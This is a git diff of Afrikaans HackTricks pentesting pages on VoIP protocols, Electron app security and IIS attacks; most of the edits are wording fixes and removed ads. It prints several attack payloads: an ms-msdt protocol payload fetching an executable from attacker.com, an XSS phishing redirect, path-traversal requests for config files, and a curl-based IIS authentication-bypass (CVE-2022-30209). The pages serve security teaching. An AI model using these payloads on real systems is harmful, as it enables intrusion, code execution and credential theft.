5. **Peer-to-Peer Kommunikasie**: IAX kan gebruik word vir direkte kommunikasie tussen eindpunte sonder die behoefte aan 'n sentrale bediener, wat eenvoudiger en doeltreffender oproeprouting moontlik maak.
@ -100,9 +86,9 @@ SDP (Session Description Protocol) is 'n **teksgebaseerde formaat** wat gebruik
Sommige sleutel elemente van SDP sluit in:
1. **Sessie-inligting**: SDP beskryf die besonderhede van 'n multimedia sessie, insluitend sessienaam, sessiebeskrywing, begin tyd, en eind tyd.
2. **Media-strome**: SDP definieer die eienskappe van media-strome, soos die mediatipe (klank, video, of teks), vervoersprotokol (bv. RTP of SRTP), en die mediaformaat (bv. codec-inligting).
2. **Media-strome**: SDP definieer die eienskappe van media-strome, soos die mediatipe (klank, video, of teks), vervoersprotokol (bv. RTP of SRTP), en die mediaformaat (bv. kodekinligting).
3. **Verbindingsinligting**: SDP bied inligting oor die netwerkadres (IP-adres) en poortnommer waar die media gestuur of ontvang moet word.
4. **Attributen**: SDP ondersteun die gebruik van attribuut om addisionele, opsionele inligting oor 'n sessie of media-stroom te verskaf. Attributen kan gebruik word om verskillende funksies soos enkripsiesleutels, bandwydte vereistes, of media-beheermeganismes spesifiek te maak.
4. **Attributen**: SDP ondersteun die gebruik van attributen om addisionele, opsionele inligting oor 'n sessie of media-stroom te verskaf. Attributen kan gebruik word om verskillende funksies soos enkripsiesleutels, bandwydtevereistes, of media-beheermeganismes spesifiek te maak.
SDP word tipies in die volgende proses gebruik:
@ -111,28 +97,17 @@ SDP word tipies in die volgende proses gebruik:
3. Die ontvangende party verwerk die SDP-beskrywing, en gebaseer op sy vermoëns, kan dit die voorgestelde sessie aanvaar, verwerp, of wysig.
4. Die finale SDP-beskrywing word teruggestuur na die inisierende party as deel van die seinprotokol boodskap, wat die onderhandelingsproses voltooi.
SDP se eenvoud en buigsaamheid maak dit 'n wye aanvaarde standaard vir die beskrywing van multimedia sessies in verskeie kommunikasiesisteme, wat 'n belangrike rol speel in die vestiging en bestuur van werklike multimedia sessies oor IP-netwerke.
SDP se eenvoud en buigsaamheid maak dit 'n wye aanvaarde standaard vir die beskrywing van multimedia sessies in verskeie kommunikasiesisteme, wat 'n cruciale rol speel in die vestiging en bestuur van regstreekse multimedia sessies oor IP-netwerke.
### RTP / RTCP / SRTP / ZRTP
1. **RTP (Real-time Transport Protocol)**: RTP is 'n netwerkprotokol wat ontwerp is vir die aflewering van klank- en video-data, of ander werklike media, oor IP-netwerke. Ontwikkel deur die **IETF** en gedefinieer in **RFC 3550**, word RTP algemeen gebruik saam met seinprotokolle soos SIP en H.323 om multimedia kommunikasie moontlik te maak. RTP bied meganismes vir **synchronisasie**, **volgorde**, en **tydstempel** van media-strome, wat help om gladde en tydige media-afspeel te verseker.
2. **RTCP (Real-time Transport Control Protocol)**: RTCP is 'n metgeselprotokol van RTP, wat gebruik word om die kwaliteit van diens (QoS) te monitor en terugvoer te bied oor die oordrag van media-strome. Gedefinieer in dieselfde **RFC 3550** as RTP, **ruil RTCP periodiek beheerpakkette tussen deelnemers in 'n RTP-sessie uit**. Dit deel inligting soos pakkieverlies, jitter, en rondreis tyd, wat help om netwerktoestande te diagnoseer en aan te pas, wat die algehele media kwaliteit verbeter.
3. **SRTP (Secure Real-time Transport Protocol)**: SRTP is 'n uitbreiding van RTP wat **enkripsie**, **boodskapverifikasie**, en **herhalingsbeskerming** vir media-strome bied, wat veilige oordrag van sensitiewe klank- en video-data verseker. Gedefinieer in **RFC 3711**, gebruik SRTP kriptografiese algoritmes soos AES vir enkripsie en HMAC-SHA1 vir boodskapverifikasie. SRTP word dikwels in kombinasie met veilige seinprotokolle soos SIP oor TLS gebruik om end-tot-end sekuriteit in multimedia kommunikasie te bied.
4. **ZRTP (Zimmermann Real-time Transport Protocol)**: ZRTP is 'n kriptografiese sleutel-ooreenkomsprotokol wat **end-tot-end enkripsie** vir RTP media-strome bied. Ontwikkel deur Phil Zimmermann, die skepper van PGP, word ZRTP beskryf in **RFC 6189**. Anders as SRTP, wat op seinprotokolle vir sleuteluitruiling staatmaak, is ZRTP ontwerp om onafhanklik van die seinprotokol te werk. Dit gebruik **Diffie-Hellman sleuteluitruiling** om 'n gedeelde geheim tussen die kommunikasiepartye te vestig, sonder om vooraf vertroue of 'n openbare sleutel infrastruktuur (PKI) te vereis. ZRTP sluit ook funksies soos **Korte Verifikasiestrings (SAS)** in om teen man-in-the-middle-aanvalle te beskerm.
1. **RTP (Real-time Transport Protocol)**: RTP is 'n netwerkprotokol wat ontwerp is vir die aflewering van klank- en videodata, of ander regstreekse media, oor IP-netwerke. Ontwikkel deur die **IETF** en gedefinieer in **RFC 3550**, word RTP algemeen gebruik saam met seinprotokolle soos SIP en H.323 om multimedia kommunikasie moontlik te maak. RTP bied meganismes vir **synchronisasie**, **volgorde**, en **tydstempel** van media-strome, wat help om gladde en tydige media-afspeel te verseker.
2. **RTCP (Real-time Transport Control Protocol)**: RTCP is 'n metgeselprotokol van RTP, wat gebruik word om die kwaliteit van diens (QoS) te monitor en terugvoer te verskaf oor die oordrag van media-strome. Gedefinieer in dieselfde **RFC 3550** as RTP, **ruil RTCP periodiek kontrolepakkette tussen deelnemers in 'n RTP-sessie uit**. Dit deel inligting soos pakkieverlies, jitter, en rondreis tyd, wat help om netwerktoestande te diagnoseer en aan te pas, wat die algehele media kwaliteit verbeter.
3. **SRTP (Secure Real-time Transport Protocol)**: SRTP is 'n uitbreiding van RTP wat **enkripsie**, **boodskapverifikasie**, en **herhalingsbeskerming** vir media-strome bied, wat veilige oordrag van sensitiewe klank- en videodata verseker. Gedefinieer in **RFC 3711**, gebruik SRTP kriptografiese algoritmes soos AES vir enkripsie en HMAC-SHA1 vir boodskapverifikasie. SRTP word dikwels in kombinasie met veilige seinprotokolle soos SIP oor TLS gebruik om end-tot-end sekuriteit in multimedia kommunikasie te bied.
4. **ZRTP (Zimmermann Real-time Transport Protocol)**: ZRTP is 'n kriptografiese sleutel-ooreenkomsprotokol wat **end-tot-end enkripsie** vir RTP media-strome bied. Ontwikkel deur Phil Zimmermann, die skepper van PGP, word ZRTP beskryf in **RFC 6189**. Anders as SRTP, wat op seinprotokolle staatmaak vir sleuteluitruiling, is ZRTP ontwerp om onafhanklik van die seinprotokol te werk. Dit gebruik **Diffie-Hellman sleuteluitruiling** om 'n gedeelde geheim tussen die kommunikasiepartye te vestig, sonder om vooraf vertroue of 'n openbare sleutel infrastruktuur (PKI) te vereis. ZRTP sluit ook funksies in soos **Korte Verifikasiestrings (SAS)** om teen man-in-die-middel aanvalle te beskerm.
Hierdie protokolle speel noodsaaklike rolle in **die aflewering en beveiliging van werklike multimedia kommunikasie oor IP-netwerke**. Terwyl RTP en RTCP die werklike media-oordrag en kwaliteitmonitering hanteer, verseker SRTP en ZRTP dat die oorgedraagde media teen afluister, manipulasie, en herhalingsaanvalle beskerm word.
Hierdie protokolle speel noodsaaklike rolle in **die aflewering en beveiliging van regstreekse multimedia kommunikasie oor IP-netwerke**. Terwyl RTP en RTCP die werklike media-oordrag en kwaliteitmonitering hanteer, verseker SRTP en ZRTP dat die oorgedraagde media teen afluister, manipulasie, en herhalingsaanvalle beskerm word.
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Hul primêre doel van WhiteIntel is om rekening oorname en ransomware-aanvalle te bekamp wat voortspruit uit inligting-steel malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -15,19 +15,6 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kyk of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Hul primêre doel van WhiteIntel is om rekening oorname en ransomware-aanvalle te bekamp wat voortspruit uit inligting-steel malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
***
## Inleiding
@ -59,18 +46,18 @@ let win = new BrowserWindow();
//Open Renderer Process
win.loadURL(`file://path/to/index.html`);
```
Die instellings van die **renderer proses** kan **gekonfigureer** word in die **hoof proses** binne die main.js-lêer. Sommige van die konfigurasies sal **voorkom dat die Electron-toepassing RCE kry** of ander kwesbaarhede as die **instellings korrek geconfigureer is**.
Die instellings van die **renderer-proses** kan **gekonfigureer** word in die **hoofproses** binne die main.js-lêer. Sommige van die konfigurasies sal **verhoed dat die Electron-toepassing RCE kry** of ander kwesbaarhede as die **instellings korrek geconfigureer is**.
Die electron-toepassing **kan toegang tot die toestel verkry** via Node apis alhoewel dit geconfigureer kan word om dit te voorkom:
Die electron-toepassing **kan toegang tot die toestel verkry** via Node-apis alhoewel dit geconfigureer kan word om dit te voorkom:
* **`nodeIntegration`** - is `af` per standaard. As aan, laat dit toe om toegang te verkry tot node-funksies vanaf die renderer proses.
* **`contextIsolation`** - is `aan` per standaard. As af, is hoof- en renderer prosesse nie geïsoleer nie.
* **`nodeIntegration`** - is `af` per standaard. As aan, laat dit toe om toegang te verkry tot node-funksies vanaf die renderer-proses.
* **`contextIsolation`** - is `aan` per standaard. As af, is hoof- en renderer-prosesse nie geïsoleer nie.
* **`preload`** - leeg per standaard.
* [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - is af per standaard. Dit sal die aksies wat NodeJS kan uitvoer beperk.
* Node Integrasie in Werkers
* **`nodeIntegrationInSubframes`** - is `af` per standaard.
* As **`nodeIntegration`** geaktiveer is, sal dit die gebruik van **Node.js APIs** in webblaaie wat in **iframes** binne 'n Electron-toepassing gelaai word, toelaat.
* As **`nodeIntegration`** gedeaktiveer is, sal preloads in die iframe laai.
* As **`nodeIntegration`** geaktiveer is, sal dit die gebruik van **Node.js APIs** in webblaaie wat **in iframes** binne 'n Electron-toepassing gelaai word, toelaat.
* As **`nodeIntegration`** gedeaktiveer is, sal preloads in die iframe gelaai word.
Voorbeeld van konfigurasie:
```javascript
@ -215,7 +202,7 @@ Wanneer 'n gebruiker met skakels interaksie het of nuwe vensters oopmaak, word s
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
Hierdie luisteraars word **oorheers deur die lessenaartoepassing** om sy eie **besigheidslogika** te implementeer. Die toepassing evalueer of 'n genavigeerde skakel intern of in 'n eksterne webblaaier geopen moet word. Hierdie besluit word tipies geneem deur 'n funksie, `openInternally`. As hierdie funksie `false` teruggee, dui dit aan dat die skakel eksterne geopen moet word, met die gebruik van die `shell.openExternal` funksie.
Hierdie luisteraars word **oorheers deur die lessenaartoepassing** om sy eie **besigheidslogika** te implementeer. Die toepassing evalueer of 'n genavigeerde skakel intern of in 'n eksterne webblaaier geopen moet word. Hierdie besluit word tipies deur 'n funksie, `openInternally`, geneem. As hierdie funksie `false` teruggee, dui dit aan dat die skakel eksterne geopen moet word, met die gebruik van die `shell.openExternal` funksie.
**Hier is 'n vereenvoudigde pseudokode:**
@ -223,9 +210,9 @@ Hierdie luisteraars word **oorheers deur die lessenaartoepassing** om sy eie **b
![https://miro.medium.com/max/1400/1\*ZfgVwT3X1V\_UfjcKaAccag.png](<../../../.gitbook/assets/image (963).png>)
Electron JS sekuriteitsbeste praktyke raai teen die aanvaarding van onbetroubare inhoud met die `openExternal` funksie, aangesien dit kan lei tot RCE deur verskeie protokolle. Bedryfstelsels ondersteun verskillende protokolle wat RCE kan ontketen. Vir gedetailleerde voorbeelde en verdere verduideliking oor hierdie onderwerp, kan 'n mens na [hierdie hulpbron](https://positive.security/blog/url-open-rce#windows-10-19042) verwys, wat Windows-protokolvoorbeelde insluit wat in staat is om hierdie kwesbaarheid te benut.
Electron JS sekuriteitsbeste praktyke raai teen die aanvaarding van onbetroubare inhoud met die `openExternal` funksie, aangesien dit kan lei tot RCE deur verskeie protokolle. Bedryfstelsels ondersteun verskillende protokolle wat RCE kan ontketen. Vir gedetailleerde voorbeelde en verdere verduideliking oor hierdie onderwerp, kan 'n mens na [hierdie hulpbron](https://positive.security/blog/url-open-rce#windows-10-19042) verwys, wat Windows protokolvoorbeelde insluit wat in staat is om hierdie kwesbaarheid te benut.
**Voorbeelde van Windows-protokolontploffings sluit in:**
**Voorbeelde van Windows protokolontploffings sluit in:**
```html
<script>
window.open("ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22")
@ -261,16 +248,16 @@ Jy kan 'n voorbeeld in hierdie **skrywe** sien: [https://blog.electrovolt.io/pos
## **XSS Phishing via Interne URL regex omseiling**
Gestel jy het 'n XSS gevind, maar jy **kan nie RCE aktiveer of interne lêers steel** nie, jy kan probeer om dit te gebruik om **akkrediteer te steel via phishing**.
Gestel jy het 'n XSS gevind, maar jy **kan nie RCE aktiveer of interne lêers steel** nie, kan jy probeer om dit te **gebruik om geloofsbriewe via phishing te steel**.
Eerstens moet jy weet wat gebeur wanneer jy probeer om 'n nuwe URL te open, deur die JS-kode in die front-end na te gaan:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
```
Die oproep na **`openInternally`** sal besluit of die **skakel** in die **desktop venster** geopen sal word, aangesien dit 'n skakel is wat aan die platform behoort, **of** of dit in die **blaaier as 'n 3de party hulpbron** geopen sal word.
Die oproep na **`openInternally`** sal besluit of die **skakel** in die **desktop venster** geopen sal word aangesien dit 'n skakel is wat aan die platform behoort, **of** of dit in die **blaaier as 'n 3de party hulpbron** geopen sal word.
In die geval dat die **regex** wat deur die funksie gebruik word **kwulnerabel is vir omseilings** (byvoorbeeld deur **nie die punte van subdomeine te ontsnap nie**) kan 'n aanvaller die XSS misbruik om **'n nuwe venster te open wat** in die aanvaller se infrastruktuur geleë sal wees **wat om akrediteeringe** van die gebruiker vra:
In die geval dat die **regex** wat deur die funksie gebruik word **kwulnerabel is vir omseilings** (byvoorbeeld deur **nie die punte van subdomeine te ontsnap nie**) kan 'n aanvaller die XSS misbruik om **'n nuwe venster te open wat** in die aanvallers infrastruktuur geleë sal wees **wat om akrediteerbare inligting** van die gebruiker vra:
```html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
@ -280,7 +267,7 @@ window.open("<http://subdomainagoogleq.com/index.html>")
* [**Electronegativity**](https://github.com/doyensec/electronegativity) is 'n hulpmiddel om miskonfigurasies en sekuriteitsanti-patrone in Electron-gebaseerde toepassings te identifiseer.
* [**Electrolint**](https://github.com/ksdmitrieva/electrolint) is 'n oopbron VS Code-inprop vir Electron-toepassings wat Electronegativity gebruik.
* [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) om kwesbare derdeparty-biblioteke te kontroleer
* [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) om te kyk vir kwesbare derdeparty-biblioteke
* [**Electro.ng**](https://electro.ng/): Jy moet dit koop
## Laboratoriums
@ -320,18 +307,6 @@ npm start
* Meer navorsing en skrywe oor Electron sekuriteit in [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
* [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81)
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kyk of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Hul primêre doel van WhiteIntel is om rekening oorname en ransomware-aanvalle te bekamp wat voortspruit uit inligting-steel malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -8,27 +8,13 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
<summary>Ondersteun HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kyk of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Hul primêre doel van WhiteIntel is om rekening oorname en ransomware aanvalle te bekamp wat voortspruit uit inligting-steel malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
***
Toets uitvoerbare lêer uitbreidings:
* asp
@ -36,14 +22,14 @@ Toets uitvoerbare lêer uitbreidings:
* config
* php
## Interne IP Adres bekendmaking
## Interne IP-adres bekendmaking
Op enige IIS bediener waar jy 'n 302 kry, kan jy probeer om die Host kop te verwyder en HTTP/1.0 te gebruik, en binne die antwoord kan die Location kop jou na die interne IP adres lei:
Op enige IIS-bediener waar jy 'n 302 kry, kan jy probeer om die Host-header te verwyder en HTTP/1.0 te gebruik, en binne die antwoord kan die Location-header jou na die interne IP-adres lei:
```
nc -v domain.com 80
openssl s_client -connect domain.com:443
```
Response wat die interne IP openbaar:
Antwoord wat die interne IP openbaar:
```
GET / HTTP/1.0
@ -79,7 +65,7 @@ Gebruik dit sonder om enige uitbreiding by te voeg, die lêers wat dit benodig h
## Pad Traversal
### Lekke bronkode
### Lek van bronkode
Kyk na die volledige skrywe in: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
@ -101,12 +87,12 @@ Host: example-mvc-application.minded
Hierdie versoek onthul verskeie instellings en afhanklikhede, soos:
* **EntityFramework** weergawe
* **AppSettings** vir webbladsye, kliëntvalidasie, en JavaScript
* **AppSettings** vir webblaaie, kliëntvalidasie, en JavaScript
* **System.web** konfigurasies vir outentisering en tydsverloop
* **System.webServer** module instellings
* **Runtime** assembly bindings vir verskeie biblioteke soos **Microsoft.Owin**, **Newtonsoft.Json**, en **System.Web.Mvc**
Hierdie instellings dui aan dat sekere lêers, soos **/bin/WebGrease.dll**, geleë is binne die aansoek se /bin gids.
Hierdie instellings dui aan dat sekere lêers, soos **/bin/WebGrease.dll**, binne die aansoek se /bin gids geleë is.
### **Worteldirektories Lêers**
@ -213,23 +199,23 @@ C:\xampp\tomcat\conf\server.xml
As jy 'n fout soos die volgende sien:
![](<../../.gitbook/assets/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
![](<../../.gitbook/assets/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
Dit beteken dat die bediener **nie die korrekte domeinnaam** binne die Host-header ontvang het.\
Om toegang tot die webblad te verkry, kan jy kyk na die bediende **SSL Sertifikaat** en dalk kan jy die domein/subdomeinnaam daar vind. As dit nie daar is nie, mag jy **brute force VHosts** moet gebruik totdat jy die korrekte een vind.
## Ou IIS kwesbaarhede om na te kyk
## Ou IIS kwesbaarhede wat die moeite werd is om na te kyk
### Microsoft IIS tilde karakter “\~” Kwesbaarheid/Funksie Kort Lêer/Gids Naam Ontsluiting
Jy kan probeer om **gidsen en lêers** binne elke ontdekte gids te **enumerate** (selfs as dit Basiese Verifikasie vereis) met behulp van hierdie **tegniek**.\
Die hoofbeperking van hierdie tegniek, as die bediener kwesbaar is, is dat **dit slegs tot die eerste 6 letters van die naam van elke lêer/gids en die eerste 3 letters van die uitbreiding** van die lêers kan vind.
Jy kan probeer om **gidsen en lêers** binne elke ontdekte gids te **enumerate** (selfs as dit Basiese Verifikasie vereis) deur hierdie **tegniek** te gebruik.\
Die hoofbeperking van hierdie tegniek as die bediener kwesbaar is, is dat **dit slegs tot die eerste 6 letters van die naam van elke lêer/gids en die eerste 3 letters van die uitbreiding** van die lêers kan vind.
Jy kan [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) gebruik om vir hierdie kwesbaarheid te toets:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
![](<../../.gitbook/assets/image (844).png>)
Originele navorsing: [https://soroush.secproject.com/downloadable/microsoft\_iis\_tilde\_character\_vulnerability\_feature.pdf](https://soroush.secproject.com/downloadable/microsoft\_iis\_tilde\_character\_vulnerability\_feature.pdf)
Oorspronklike navorsing: [https://soroush.secproject.com/downloadable/microsoft\_iis\_tilde\_character\_vulnerability\_feature.pdf](https://soroush.secproject.com/downloadable/microsoft\_iis\_tilde\_character\_vulnerability\_feature.pdf)
Jy kan ook **metasploit** gebruik: `use scanner/http/iis_shortname_scanner`
@ -257,15 +243,15 @@ ASPXAUTH gebruik die volgende inligting:
* **`validationKey`** (string): hex-gecodeerde sleutel om te gebruik vir handtekeningvalidasie.
* **`decryptionMethod`** (string): (standaard “AES”).
* **`decryptionIV`** (string): hex-gecodeerde inisialisasie-vektor (standaard na 'n vektor van nulles).
* **`decryptionIV`** (string): hex-gecodeerde inisialiseringvektor (standaard na 'n vektor van nulles).
* **`decryptionKey`** (string): hex-gecodeerde sleutel om te gebruik vir ontsleuteling.
Ehowever, sommige mense sal die **standaardwaardes** van hierdie parameters gebruik en sal as **koekie die e-pos van die gebruiker** gebruik. Daarom, as jy 'n web kan vind wat die **dieselfde platform** gebruik wat die ASPXAUTH koekie gebruik en jy **'n gebruiker met die e-pos van die gebruiker wat jy wil naboots** op die bediener onder aanval skep, mag jy in staat wees om die **koekie van die tweede bediener in die eerste een** te gebruik en die gebruiker na te boots.\
Ehowever, sommige mense sal die **standaardwaardes** van hierdie parameters gebruik en sal as **koekie die e-pos van die gebruiker** gebruik. Daarom, as jy 'n web kan vind wat die **dieselfde platform** gebruik wat die ASPXAUTH koekie gebruik en jy **'n gebruiker met die e-pos van die gebruiker wat jy wil naboots** op die bediener onder aanval skep, mag jy in staat wees om die koekie van die tweede bediener in die eerste een te **gebruik** en die gebruiker na te boots.\
Hierdie aanval het gewerk in hierdie [**skrywe**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
## IIS Verifikasie Omseiling met gekapte wagwoorde (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
[Volledige verslag hier](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): 'n fout in die kode **het nie behoorlik vir die wagwoord wat deur die gebruiker gegee is, nagegaan nie**, so 'n aanvaller wie se **wagwoord-hash 'n sleutel tref** wat reeds in die **cache** is, sal in staat wees om as daardie gebruiker aan te meld.
[Volledige verslag hier](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): 'n fout in die kode **het nie behoorlik vir die wagwoord wat deur die gebruiker gegee is, nagegaan nie**, so 'n aanvaller wie se **wagwoordhash 'n sleutel tref** wat reeds in die **cache** is, sal in staat wees om as daardie gebruiker aan te meld.
```python
# script for sanity check
> type test.py
@ -285,28 +271,16 @@ HTTP/1.1 401 Unauthorized
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
```
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kyk of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Hul primêre doel van WhiteIntel is om rekening oorname en ransomware-aanvalle te bekamp wat voortspruit uit inligting-steel malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>Ondersteun HackTricks</summary>
* Kyk na die [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) of die [**telegram group**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -8,21 +8,13 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
<summary>Ondersteun HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Probeer Hard Sekuriteitsgroep**
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
